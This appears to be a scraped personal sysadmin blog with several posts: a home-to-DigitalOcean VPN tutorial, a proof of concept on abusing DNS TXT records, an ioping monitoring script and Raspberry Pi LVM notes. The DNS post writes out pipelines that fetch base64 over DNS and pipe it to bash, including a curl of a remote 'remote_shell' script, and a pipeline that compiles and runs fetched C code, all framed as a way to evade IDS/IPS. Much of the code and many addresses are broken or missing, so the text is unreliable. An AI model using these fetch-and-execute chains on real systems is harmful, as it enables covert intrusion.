Hybrid cloud from home using DigitalOcean

This is something I had been wanting to do for awhile and the concepts were always floating around in my head. At a high level, I wanted to join a network at my home to a cloud provider. Why? Mostly just because I wanted to see if I could do it and how it could be done – this weekend I had a reason and I did it. More specifically, I wanted to see how I could “get” my own static IP from a cloud provider and forward connections on ports to the DigitalOcean VM back to my house

What I am doing below is not the absolutely most secure thing. You should understand the risks involved with this and know that what I am providing below is a “to get going” kind of tutorial

 — — —

I had recently been doing a lot of tinkering with OcServ (http://www.infradead.org/ocserv/) and OpenConnect. These are the open source equivalents of Cisco AnyConnect SSL VPN client and server. BIG shoutout to this software suite…completely dead easy to use and the developer is very active, responsive, and helpful on his gitlab (https://gitlab.com/ocserv/ocserv). Internally in my home network I have a Juniper SRX firewall that I wanted to test this out on and forward the IKE ports back to my house. My home network is

Ultimately I will be documenting what you need and trying to keep my Juniper bits out of it. But I will cover that too so you know what you need if you ever want to tinker like this

Heres what you need

  1. A DigitalOcean VM with private networking enabled
  2. A Raspberry PI 3 Model B – or an equivalent device with two network connections. A laptop works too. You just need one a device with two NIC’s so one can route for the switch and the other (your initial default route) through the internet:
  3. ocserv installed on the DigitalOcean VM
  4. openconnect installed on the Raspberry PI 3 (or equivalent device)
  5. An unmanaged switch (managed would probably work too, but unmanaged ensures no VLAN tagging issues / configurations)
  6. A secondary network device (in this case, it would be my Juniper device):

I primarily use Fedora and CentOS so adjust accordingly (ex: CentOS disables asymmetrical routing by default, which we need)


The “too lazy didnt read” is simply this:

  1. Connect your PI to the switch and configure it to act as a router for your other device (iptables, etc)
  2. On the DigitalOcean VM, install ocserv and configure it. Have it work with your private network assigned on eth1. A small /29 or /28 should suffice for what IPs to hand out
  3. On your PI, run openconnect and connect to your DigitalOcean external IP – this will give you a VPN tunnel to DigitalOcean private network. Note the IP you have been assigned. You can find this by seeing the line “Connected as <IP>”
  4. On the DigitalOcean VM, set a route for (or whatever your home network is) to route to your tun0 interface IP on your PI (the IP you noted in step 2)
  5. Ping (your PI, or whatever IP you have on it) and notice you get a response. You should be able to ping the other device you have behind the switch
  6. You can now use iptables to port forward stuff back to your house via the eth0 external IP


We are going to make our PI act as a router for the home network. Once we confirm we can move traffic to and from the internet with that setup we are going to connect via openconnect to our DigitalOcean external IP. The DigitalOcean OCServ software will be responsible for handing out a small /29 set of 10.x.x.x/x IPs from the /16 that DigitalOcean gave us. OCServ will tell connecting clients (our PI) that it will take one of those IPs with its gateway being the first IP in the range. Then, OCServ will tell the connecting client that their new default route is now it (OCServ internal IP on DigitalOcean VM).

What this achieves is it makes our PI have its next-hop as the DigitalOcean VM via a private SSL VPN tunnel and thus, any traffic coming in to the PI will be routed out up through DigitalOcean through this VPN and then egress as our external IP in DigitalOcean. Likewise, you can also port forward traffic from the external IP on DigitalOcean VM or on the internal private network assigned to you by DigitalOcean back to your house

This can probably be achieve by something else like OpenSwan or the similar, however, an SSL VPN like this to me is more lightweight and easier to configure; plus, I am going to be setting up an IPSEC VPN from my Juniper devices behind the switch, so the less in the way the better (although I don’t really care about performance). I had already setup OCServ a few times as it was so I went this route


First we’re going to make sure we have what we need at the house side. Substitute PI and Juniper for what you’ve selected

Here is how this looks at a high level from the house side

          Raspberry Pi (or equivalent)

On the PI

We need to enable it as a router which means iptables and sysctl. First install iptables and its utilities. Since this is CentOS 7 for me, I needed to install them

yum install -y iptables iptables-services iptables-utils

And I have prepared a little script to do the “making routing” portion minus one detail. Don’t run this yet, just save it as “/root/mkrouter”

#!/usr/bin/env bash

# Which port is connected to the switch

# Which port is your default route / upstream to the internet

ip link set up ${SWITCH_INTERFACE}
ip addr add $1 dev ${SWITCH_INTERFACE}
sysctl -w net.ipv4.ip_forward=1
service iptables start
iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

I have noticed that iptables includes reject rules by default, so we are going to delete those

Open /etc/sysconfig/iptables and delete the two lines that contain REJECT

Now we need to enable asymmetrical routing. The below command is a pretty big hammer but somewhat necessary. I have seen net.ipv4.conf.all.rp_filter not always work sometimes unless its persisted and setup to configure it at reboot

for i in $(sysctl -a 2> /dev/null | grep -i rp_filter | grep -iv arp_filter | awk '{ print $1 }'); do sysctl -w $i=2; done

Dont forget that you’ll want to make these settings persistent via /etc/sysctl.d/!

Now save iptables

iptables-save > /etc/sysconfig/iptables

Now lets run our script


From your other device – in my case the Juniper – set a default route towards For my juniper it would be

set routing-options static route next-hop

For another Linux device it would be

ip route set default dev <YOUR_DEVICE_CONNECTED_TO_SWITCH> via

Obviously substitute <YOUR_DEVICE_CONNECTED_TO_SWITCH>. For me, on my Juniper, it was ge-0/0/0.0 – depending on your OS this could be eth0, eth1, or something as abstract as enp0s2f3 🙂

From this secondary device you should be able to ping something far away like Test it out. Ex from my Juniper:

root@home-ro0# run show route 

inet.0: 9 destinations, 9 routes (9 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both          *[Static/5] 00:14:42
                    > to via ge-0/0/0.0

root@home-ro0# run ping    
PING ( 56 data bytes
64 bytes from icmp_seq=0 ttl=55 time=24.002 ms
64 bytes from icmp_seq=1 ttl=55 time=27.720 ms

So this concludes turning our PI (or equivalent) in to a router. Next, we’re going to connect it up to our DigitalOcean VM

So what we have now is:

                  Raspberry Pi 
             wlan0 =
              eth0 =
   ge-0/0/0.0 = - default route via

On DigitalOcean VM

This is assuming you have already enabled private networking per the requirements above. For me, I was given Also note your eth0 assignment as you’ll need it to substitute these values below

You can install OCServ via EPEL if you are running CentOS. I will not cover that here. Simply navigate to the EPEL site, enable the CentOS 7 repository, and then install ‘ocserv’ package

You will also need to generate a cert. Whether you choose to do a self signed or get a root signed, I will not cover that here. When you connect via openconnect command you have the option of answering that you don’t care about any cert warnings/errors

Pretty much all I will show you here is example configuration for OCServ with the scope I was given. I have, my VM was assigned so I am going to use for my VPN subnet

What this means is, as noted above, when an AnyConnect/openconnect client connects to your DigitalOcean external IP, OCServ will offer an IP in that range with being the gateway for that client (being, the PI)

For your certs, the below configuration assumes you are saving them where I did under /etc/ocserv/ssl. You will notice mine says ‘chained’ because I obtained my cert from DigiCert and I chained the intermediate cert

So after you have installed OCServ you can use the example configuration below

I have highlighted the two most critical lines. The first is the network you want to configure which is based on what you get for eth1 and then the “no-route” part for telling connecting clients that you dont want them to route connections to your DigitalOcean external IP through the tunnel. You only want to send everything else there

auth = "pam[gid-min=1000]"
tcp-port = 443
udp-port = 443
run-as-user = ocserv
run-as-group = ocserv
socket-file = ocserv.sock
chroot-dir = /var/lib/ocserv
isolate-workers = true
max-clients = 16
max-same-clients = 0
keepalive = 32400
dpd = 90
mobile-dpd = 1800
switch-to-tcp-timeout = 60
try-mtu-discovery = false
server-cert = /etc/ocserv/ssl/vpn.mydomain.com.chained.crt
server-key = /etc/ocserv/ssl/vpn.mydomain.com.key
ca-cert = /etc/pki/ocserv/cacerts/ca.crt
cert-user-oid = 0.9.2342.19200300.100.1.1
auth-timeout = 240
min-reauth-time = 300
max-ban-score = 50
ban-reset-time = 300
cookie-timeout = 300
deny-roaming = false
rekey-time = 172800
rekey-method = ssl
connect-script = /usr/bin/ocserv-script
use-occtl = true
pid-file = /var/run/ocserv.pid
device = vpns
predictable-ips = true
default-domain = mydomain.com
ipv4-network =
dns =
dns =
ping-leases = false
route = default

# Dont route our own gateway for the connection through clients tunnel
#no-route = <your_digitalocean_vm_eth0_ip>/

cisco-client-compat = true
dtls-legacy = true
user-profile = profile.xml

You’re also going to need to enable rp_filter and ip.forward. So swing the hammer again:

# for i in $(sysctl -a 2> /dev/null | grep -i rp_filter | grep -iv arp_filter | awk '{ print $1 }'); do sysctl -w $i=2; done

# sysctl -w net.ipv4.ip_forward=1

Dont forget that you’ll want to make these settings persistent via /etc/sysctl.d/!

We’re now going to move back to the PI where we are going to configure openconnect

Back on the PI

If you’re not using a PI then congrats! Just enable EPEL on your PI equivalent (laptop,etc) and install openconnect from repo


Something I discovered halfway through writing this is that openconnect does not have any packages for the PI. I found this out because for this exercise I used my laptop the whole way, until I decided to implement it on my PI (as I am writing this). So, this was fun. I will run through the steps but please note they will be quick as they are scratch notes from implementing this today. I also will not delve in to many details, so if you’re unsure then find a laptop and use that (then restart at the steps above)

Be sure to be ready to allocate probably 2-3 hours for this part :-/

First install development tools

yum groupinstall -y 'Development Tools'

Then install dependent packages

yum install -y libgcrypt-devel libgcrypt openssl-devel openssl gnutls gnutls-devel libxml libxml2-devel

Now the long part…we have to install cpan to get an old Perl module for the vpnc configuration

yum install -y perl-CPAN
<select all the defaults>
<once you're at the CPAN cli type the following>
install Fatal

Now fetch the vpnc dependency. More can be found here https://www.unix-ag.uni-kl.de/~massar/vpnc/

curl https://www.unix-ag.uni-kl.de/~massar/vpnc/vpnc-0.5.3.tar.gz -o vpnc.tar.gz
tar -xvzf vpnc.tar.gz
cd vpnc-*
make install clean

This should go in fairly straight forward. Its a pretty lightweight thing

And now install openconnect

curl ftp://ftp.infradead.org/pub/openconnect/openconnect-7.08.tar.gz -o openconnect.tar.gz
tar -xvzf openconnect.tar.gz
cd openconnect-*
./configure<br>make install clean

And now connect it to your DigitalOcean external IP. Below is an example of what you should see:

Server certificate verify failed: certificate does not match hostname

Certificate from VPN server "${YOUR_DIGITALOCEAN_EXTERNAL_IP}" failed verification.
Reason: certificate does not match hostname
To trust this server in future, perhaps add this to your command line:
    --servercert sha256:<snip>
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
XML POST enabled
Please enter your username.
Please enter your password.
Got CONNECT response: HTTP/1.1 200 CONNECTED
CSTP connected. DPD 90, Keepalive 32400
Connected as, using SSL
Established DTLS connection (using GnuTLS). Ciphersuite (DTLS1.2)-(PSK)-(AES-128-GCM).

From the above you’ll notice the following things

  1. I have accepted the invalid cert. For this it was because the hostname I connected to did not match (because I used IP). I demonstrated this here so you can see that you can accept insecure certs
  2. I logged on as root with the root password of the server (THIS IS BAD: I am only showing for concepts). OCServ uses PAM to authenticate a user, so your options are pretty much endless there (RADIUS, LDAP, AD, Kerberos, NIS, etc)
  3. I was given the IP And what you dont see is what I am going to show you below. Note this IP that you see because we need it later back on the DigitalOcean VM
[root@ck-centos-rpi3 ~]#  ip route
default dev tun0  scope link dev tun0  scope link 
${YOUR_DIGITALOCEAN_EXTERNAL_IP} via dev wlan0  src dev eth0  proto kernel  scope link  src dev wlan0  proto kernel  scope link  src

[root@ck-centos-rpi3 ~]#  ip route get dev tun0 src 

[root@ck-centos-rpi3 ~]#  ping
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=59 time=24.6 ms
64 bytes from icmp_seq=2 ttl=59 time=21.6 ms

[root@ck-centos-rpi3 ~]# curl http://ifconfig.io
^ My DigitalOcean VM external IP

So what does this show us? We now have the following in place:

  1. A default route out of tun0
  2. Route the entire through tun0
  3. Default route through tun0
  4. And then keep everything else intact

Now, from your secondary device (in my case, the juniper) you wont be able to do anything yet. We have to jump back up to the DigitalOcean VM before we can move traffic

Jump to the DigitalOcean VM

Now, since we’re all setup and connected, we just need to tell our DigitalOcean VM that traffic for needs to be sent down the tunnel interface of vpns0 via the gateway IP which is what my PI was assigned when openconnect connected successfully

[root@do-gw-proxy ~]# ip route add dev vpns0 via

And now you will see we can reach back to our house!

[root@do-gw-proxy ~]# ping
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=23.4 ms

And now I will SSH to my Juniper to show you that you can now reach back home from your DigitalOcean VM

[root@do-gw-proxy ~]# ssh
Last login: Tue Jun 13 22:23:51 2017 from
--- JUNOS 15.1X49-D90.7 built 2017-04-29 06:16:43 UTC

[root@do-gw-proxy ~]# ssh
root@'s password: 
Last login: Tue Jun 13 18:44:17 2017 from
[root@ck-centos-rpi3 ~]# netstat -tnap | grep -i established
Active Internet connections (servers and established)
tcp        0      0       ESTABLISHED 16855/sshd: root@pt 
tcp        0      0     67.205.x.x:443      ESTABLISHED 1734/openconnect   

And as you can see, I SSH’ed to my RPI and my SSH is connected from which is my IP on my DigitalOcean VM. You can see I have an persistent connection to my DigitalOcean VM via openconnect but I am connected from 136.3.193, which is the IP of the DigitalOcean VM vpns0 interface

[root@do-gw-proxy ~]# ip addr show eth1 | grep -i 10.136
    inet brd scope global eth1




Using DNS TXT Record Abuse for Exploiting Servers

With everything thats been in the news lately with malware and WannaCry, I figured it’d be fun to proof this out for myself and post about it. The below, of course, assumes that your environment has already been compromised or has someone on it that wants to do something nefarious (disgruntled employee?). I am going to show you, in its most simplistic form, how you can abuse DNS TXT records for leveraging passing data in between servers and more so, when the server you want to exploit is behind a firewall and can only do DNS requests

Why is this useful? This is useful because data in an TXT record can be any combination of ASCII text. What this means, simply, is that you are able to obfuscate data with GPG or, even more simply, base64 encode and decode. This is beneficial for hiding from an IDS or IPS.

DNS is everything. When things fail, its usually because of a DNS issue (within context, of course) but typically DNS traffic is relatively trusted in organizations. The abuse of DNS here is being in the context of, for instance, when a DNS server does not know of a record, when asked it, will forward a request to the root zones which will then attempt to try to find the controlling DNS server for the queried domain so that it can return a result for the queried hostname

Example: I am a server inside of an organization that has the ability to issue DNS requests. What this means is that I can request google.com – my internal DNS server probably knows this already from cache and responds. What if I ask for ckozler.net? My internal DNS server probably wont know this and will forward it up to the .net root DNS to ask .net where ckozler under .net is. .net responds with NS record ns1.worldnic.com. Then ns1.worldnic.com. is queried for the @ record for ckozler.net which responds with (the host for where you are reading this page)

So what happened here? I was able to “leave” the organization to request data from an external server and retrieve it and read it. Simply put, instead of being able to use curl or wget to request something from a remote web server, I used DNS to traverse the open internet and get input from a remote server. As I said earlier, TXT records can contain ASCII text. ASCII text means data and data means exploits.

Below I will show an example of this. I will describe the environment as well so hopefully after you reading this you can understand what is going on from a technical standpoint. It will be extremely high level, because I’m not hacker or security expert, but it will show you how you can move data between sites with DNS TXT records

The idea of obfuscating the data inside the TXT records is so that when IDS’ and IPS’ are inspecting the traffic, they arent able to really see “inside” of the response. All they see is a random array of ASCII text

DISCLAIMER: I am not a security expert or try to pose as one. I am simply showing how hackers and malware writers are able to leverage basic functions of networking that could be much harder to detect


‘client’ is an already compromised server inside an organization somewhere – whether it be a disgruntled employee or what not. The only requirement is that it can query DNS. Lets assume its locked down from outbound access to any server except the internal DNS server.

Again, there are a ton of assumptions here, I am just showing the concepts

I will show 2 examples. One is that I am fetching a remote bash script via curl and then executing it. The second is fetching C code and then compiling it and running it. Example 1 assumes HTTP/HTTPS outbound from the server is allowed and example 2 assumes the server has gcc installed

Example 1

client]$ dig -t TXT txtline1.ckozler.net | grep ^txt
txtline1.ckozler.net.	6601	IN	TXT	"Y3VybCAtcyAtcSBodHRwczovL2Nrb3psZXIubmV0L3JlbW90ZV9zaGVsbC50eHQu"

client]$ dig -t TXT txtline2.ckozler.net | grep ^txt
txtline2.ckozler.net.	7141	IN	TXT	"cGhwCg=="

client]$ dig -t TXT txtline1.ckozler.net txtline2.ckozler.net | grep '^txt' | awk '{ print $5 }' | tr -d '"' 

client]$ dig -t TXT txtline1.ckozler.net txtline2.ckozler.net | grep '^txt' | awk '{ print $5 }' | tr -d '"' | openssl enc -base64 -d 
curl -s -q https://ckozler.net/remote_shell.txt.php

client]$ dig -t TXT txtline1.ckozler.net txtline2.ckozler.net | grep '^txt' | awk '{ print $5 }' | tr -d '"' | openssl enc -base64 -d | bash -s 
#!/usr/bin/env bash

echo "Hello world! I was downloaded from http://ckozler.net/remote_shell.txt.php with instructions from a TXT DNS record"
exit 0

client]$ dig -t TXT txtline1.ckozler.net txtline2.ckozler.net | grep '^txt' | awk '{ print $5 }' | tr -d '"' | openssl enc -base64 -d | bash -s  | bash -s
Hello world! I was downloaded from http://ckozler.net/remote_shell.txt.php with instructions from a TXT DNS record

So what happened? You can see that I can query txtline1.ckozler.net and get data…then txtline2.ckozler.net and get the second line of the base64 encoded strings. These two lines give me the lines from the bash script that is hosted at https://ckozler.net/remote_shell.txt.php. I then decode it and run it which then spits out “Hello world!”

The magic here is the base64 encoded data. Of course, I am sure IDS and IPS’ can pick this up but base64 is a good, quick, and easy way to obfuscate data and try to hide

This example just proofs the concept of how to move data or instructions in between a remote external DNS server and a “secured” internal server

Example 2

Now we’re going to fetch some C code from TXT records and run it. The previous example assumes HTTP/HTTPS (port 80 and 443) outbound towards ckozler.net is open. Well, what if this isnt the case? What if we, for instance, see that the kernel on server ‘client’ is susceptible to a privilege escalation exploit. Perfect! Lets get some code from DNS TXT records!

Note: Click the arrow in the top right to open the shell code in another window

# Get the first line of the base64 encoded C code
client]$ dig -t TXT c_code_line_1.ckozler.net | grep ^c_code_line
c_code_line_1.ckozler.net. 3599	IN	TXT	"I2luY2x1ZGUgPHN0ZGlvLmg+CmludCBtYWluKCkgewoJcHJpbnRmKCAiaGVsbG8g"

# Get the second line
client]$ dig -t TXT c_code_line_2.ckozler.net | grep ^c_code_line
c_code_line_2.ckozler.net. 3599	IN	TXT	"d29ybGRcbkkgd2FzIGRvd25sb2FkZWQgdGhyb3VnaCBhIFRYVCByZWNvcmQgYW5k"

# Get the third line
client]$ dig -t TXT c_code_line_3.ckozler.net | grep ^c_code_line
c_code_line_3.ckozler.net. 3599	IN	TXT	"IGNvbXBpbGVkIGxvY2FsbHkiICk7CglyZXR1cm4gMDsKfQo="

# Now get them all at once
client]$ dig -t TXT c_code_line_1.ckozler.net c_code_line_2.ckozler.net c_code_line_3.ckozler.net | grep ^c_code_line
c_code_line_1.ckozler.net. 3599	IN	TXT	"I2luY2x1ZGUgPHN0ZGlvLmg+CmludCBtYWluKCkgewoJcHJpbnRmKCAiaGVsbG8g"
c_code_line_2.ckozler.net. 3562	IN	TXT	"d29ybGRcbkkgd2FzIGRvd25sb2FkZWQgdGhyb3VnaCBhIFRYVCByZWNvcmQgYW5k"
c_code_line_3.ckozler.net. 3564	IN	TXT	"IGNvbXBpbGVkIGxvY2FsbHkiICk7CglyZXR1cm4gMDsKfQo="

# We still have quotes, want to get rid of them
client]$ dig -t TXT c_code_line_1.ckozler.net c_code_line_2.ckozler.net c_code_line_3.ckozler.net | grep ^c_code_line | awk '{ print $5 }'

# Now its cleaned up, its literal base64 encoded text
client]$ dig -t TXT c_code_line_1.ckozler.net c_code_line_2.ckozler.net c_code_line_3.ckozler.net | grep ^c_code_line | awk '{ print $5 }' | tr -d '"'

# When we pass it to openssl -d we can see the actual text
client]$ dig -t TXT c_code_line_1.ckozler.net c_code_line_2.ckozler.net c_code_line_3.ckozler.net | grep ^c_code_line | awk '{ print $5 }' | tr -d '"' | openssl enc -base64 -d
#include <stdio.h>
int main() {
	printf( "hello world\nI was downloaded through a TXT record and compiled locally" );
	return 0;

# Now lets pass it to a file and compile it with GCC
client]$ dig -t TXT c_code_line_1.ckozler.net c_code_line_2.ckozler.net c_code_line_3.ckozler.net | grep ^c_code_line | \
> awk '{ print $5 }' | tr -d '"' | \
> openssl enc -base64 -d > /var/tmp/txt.poc.c; gcc -o /var/tmp/txt.poc /var/tmp/txt.poc.c; /var/tmp/txt.poc
hello world
I was downloaded through a TXT record and compiled locally


So what you can see here is we were able to successfully move C code via TXT DNS records. Of course, large exploits would require many lines but things such as shell code privilege escalation exploits would be many less lines

I hope you found this post informative. Any mistakes I made or anything not clear please feel free to drop a line in the comments


iomonitor – wrapper script for ioping

Link to it on my github because formatting is screwed up here

This is a wrapper script for ioping. Can be implemented in to a cronjob (ex: with https://healthchecks.io ) or as an NRPE command for nagios. Use –nagios-perfdata to generate perfdata for Nagios to consume

I needed a way to track I/O latency on a VM hypervisor node (ovirt) because one ovirt node of 3 kept reporting latency to storage but it was the only one reporting it (and guaranteed not a config issue). I set this up in nagios to run every minute and run for 15 runs which is usually ~15 seconds

This is what it looks like inside NagiosXI


#!/usr/bin/env bash

# Wrapper script for ioping. Can be implemented in to a cron
# job or as an NRPE command for nagios. Use --nagios-perfdata to generate perfdata
# for Nagios to consume
# I needed a way to track I/O latency on a VM hypervisor node (ovirt)
# because the ovirt engine kept reporting latencies but it was the only one
# reporting it (and guaranteed not a config issue). I set this up in nagios 
# to run every minute and run for 15 runs which is usually ~15 seconds
# It is suggested to first get a baseline for what your system looks like by
# running the script with all zeros for crit/warn then using "raw data" line 
# to generate some  values you consider warn/critical. I used a 
# count of 120 (2 minutes) then min/max/avg * 1.5 for warning and * 2.5 for critical
#	* While running this I did the following on my home directory
#		while [ true ]; do ls -alhtrR $HOME; done
#	to generate some I/O without using DD, figured all the stat() calls would be
#	better geared towards real use 
# Example:
#	./iomonitor --directory /tmp --min-warn 0 --min-crit 0 --max-warn 0 --max-crit 0 --avg-warn 0 --avg-crit 0 --count 120

# Check dependencies
if [ -z $(command -v ioping) ]; then
	echo "* ERROR: Cannot find ioping command"
	exit 254

if [ -z $(command -v bc) ]; then
	echo "* ERROR: Cannot find bc command"
	exit 254

# This prints when using the -v flag
function debug_write() {
        if [ ${dbg} ]; then
                echo "* $@"

# Collect arguments
	while [ "$1" != "" ]; do
    		case $1 in



			"-c" | "--count" )
      			"-d" | "--directory")
			"-v" | "--verbose")


setargs "$@"

# Startup
debug_write "min_warn=${min_warn}"
debug_write "min_crit=${min_crit}"
debug_write "max_warn=${max_warn}"
debug_write "max_crit=${max_crit}"
debug_write "avg_warn=${avg_warn}"
debug_write "avg_crit=${avg_crit}"
debug_write "count=${count}"
debug_write "directory=${directory}"

# If count is empty, default to 15
if [ -z ${count} ]; then

# Move in to the directory for ioping to run
cd "${directory}"
if [ ${cdres} -ne 0 ]; then
	echo "* ERROR: Failed to CD to ${directory} to run ioping test. Exiting"
	exit 254

# Stuff
debug_write "Current directory - $(pwd)"

# Run ioping
debug_write "Running ${count} times"
cmd=$(ioping -c ${count} .)

# --verbose
debug_write "output: ${cmd}"

# Grep the line we care about
line=$(echo "${cmd}" | grep "^min/avg/max/mdev" )
debug_write "line: '${line}'"

# Now awk the fields out
data_lines=$(echo "${line}" | awk '{ print $3 " " $4 "\n" $6 " " $7 "\n" $9 " " $10 "\n" $12 " " $13 };')

# Array for data parsing
declare -a data

# Conversions
IFS=$(echo -en "\n\b")
for i in $(echo "${data_lines}"); do
	# TODO: Make what to convert to an argument
	# we default now to seconds. People may want to monitor at ms level
	#... but I suck at math

	value=$(echo "$i" | cut -d ' ' -f1)
	unit=$(echo "$i" | cut -d ' ' -f2)
	case "${unit}" in
			echo "* ERROR: Received unit we could not convert. Got ${unit}"
			exit 245

	debug_write "(${unit}) - ${value} * ${conversion}"
	converted=$(echo "scale=6; ${value} * ${conversion}" | bc | awk '{printf "%f", $0}')


debug_write "Converted to seconds: $min / $avg / $max / $mdev"

# now check warn/crit

# Because im lazy and using a function is prettier
function append() {

function perfdata_append() { 
	perfdataoutput="${perfdataoutput}$@ "

# Use BC to do float comparison
function comp() { 
	bc <<< "$@" return $? } # Iterate the fields we need. Doing it this way avoids repeat code # Why repeat code when we can use bashes flexibility?! for i in $(echo min max avg); do # Yay bash variable substitution! # use the value when we need to and the variable name when we need to # ex: ${idx_name} would expand to min then $idx_warn would expand to min_warn # so when we use ${!idx_warn} it would expand to min_warn value (the arg input field) idx_inner_val="${!i}" idx_name="$i" idx_warn="${idx_name}_warn" idx_crit="${idx_name}_crit" debug_write "${idx_inner_val} > ${!idx_warn}" 
	debug_write "${idx_inner_val} < ${!idx_crit}" if [ $(comp "${idx_inner_val} > ${!idx_warn}" ) -eq 1 ] && [ $(comp "${idx_inner_val} < ${!idx_crit}" ) -eq 1 ]; then append " * WARNING: '$directory' storage latency ${idx_name} response time ${idx_inner_val} > ${!idx_warn}\n"
	if [ $(comp "${idx_inner_val} > ${!idx_crit}" ) -eq 1 ]; then
	        append " * CRITICAL: '$directory' storage latency ${idx_name} response time ${idx_inner_val} > ${!idx_crit}\n"

	perfdata_append "${idx_name}=${idx_inner_val}"


# May as well print the raw data when we print anything else or the OK
append "raw data: ${line}"

# Warn / crit / OK logic 

# Crit
if [ ${exit_crit} -eq 1 ]; then
	echo -e "${output}" 
	if [ ! -z "${perfdata}" ]; then
		echo -e " | ${perfdataoutput}"
	exit 2

# Warn
if [ ${exit_warn} -eq 1 ]; then
	echo -e "${output}" 
	if [ ! -z "${perfdata}" ]; then
                echo -e " | ${perfdataoutput}"
	exit 1

# Else OK 
echo -e "OK - ${directory} latency - ${output}" | tr -d '\n'
if [ ! -z "${perfdata}" ]; then
	echo -e " | ${perfdataoutput}"

exit 0
Moving CentOS 7 to LVM on Raspberry Pi 3 / ARMv7L

I will formalize this later when I can

  1. This is purely assuming you’re using CentOS 7 on RPI3 and have DD’ed the image per their installation instructions. This assumption will lead the below
  2. Confirm your version has support via CONFIG_BLK_DEV_INITRD kernel compile option. You can check /proc/config.gz for this..if you dont have it then modprobe configs
  3. Generate an initrd – dracut -f -v /boot/initrd $(uname -r)
  4. Append ‘initramfs initrd 0x01f00000’ to /boot/config.txt
  5. Modify /boot/cmdline.txt to read initrd=0x01f00000 after root=/dev/…. and before rootfstype=ext4
  6. Reboot as a test. Note that your boot time will go from about 5-10 seconds to upwards of a minute or so. You will see the Raspberry Pi splash screen for about 5 seconds as opposed to .5 or 1 second before. This is because the Pi now needs to load the 26MB initrd in to memory before continuing
  7. If it comes back up then you can move the file system now
  8. Edit /etc/fstab and change noatime for / to be ro,noatime
  9. Reboot
  10. yum install -y lvm2
  11. fdisk /dev/mmcblk0
  12. Create a new partition and exit
  13. Reboot
  14. pvcreate /dev/mmcblk0p4
  15. vgcreate root /dev/mmcblk0p4
  16. lvcreate –name=”lv_root” -l 45%FREE root <—- more on this later
  17. mkdir /mnt/new
  18. mount /dev/mapper/root/lv_root /mnt/new
  19. Copy the file system: tar -cvpf – –one-file-system –acls –xattrs –selinux / | tar xpf – -C /mnt/new/
  20. Edit /boot/cmdline.txt root= to be root=/dev/mapper/root-lv_root
  21. Reboot


Test Post

Please ignore


 * Insert your code here
 #!/usr/bin/env bash
 for i in $(echo "${LIST}"); do
	IP=$(nslookup $i | grep -iv | grep -i address | cut -d ":" -f2 | tr -d '\r' | xargs echo)
	if [ -z ${IP} ]; then
	echo "$i,${IP}"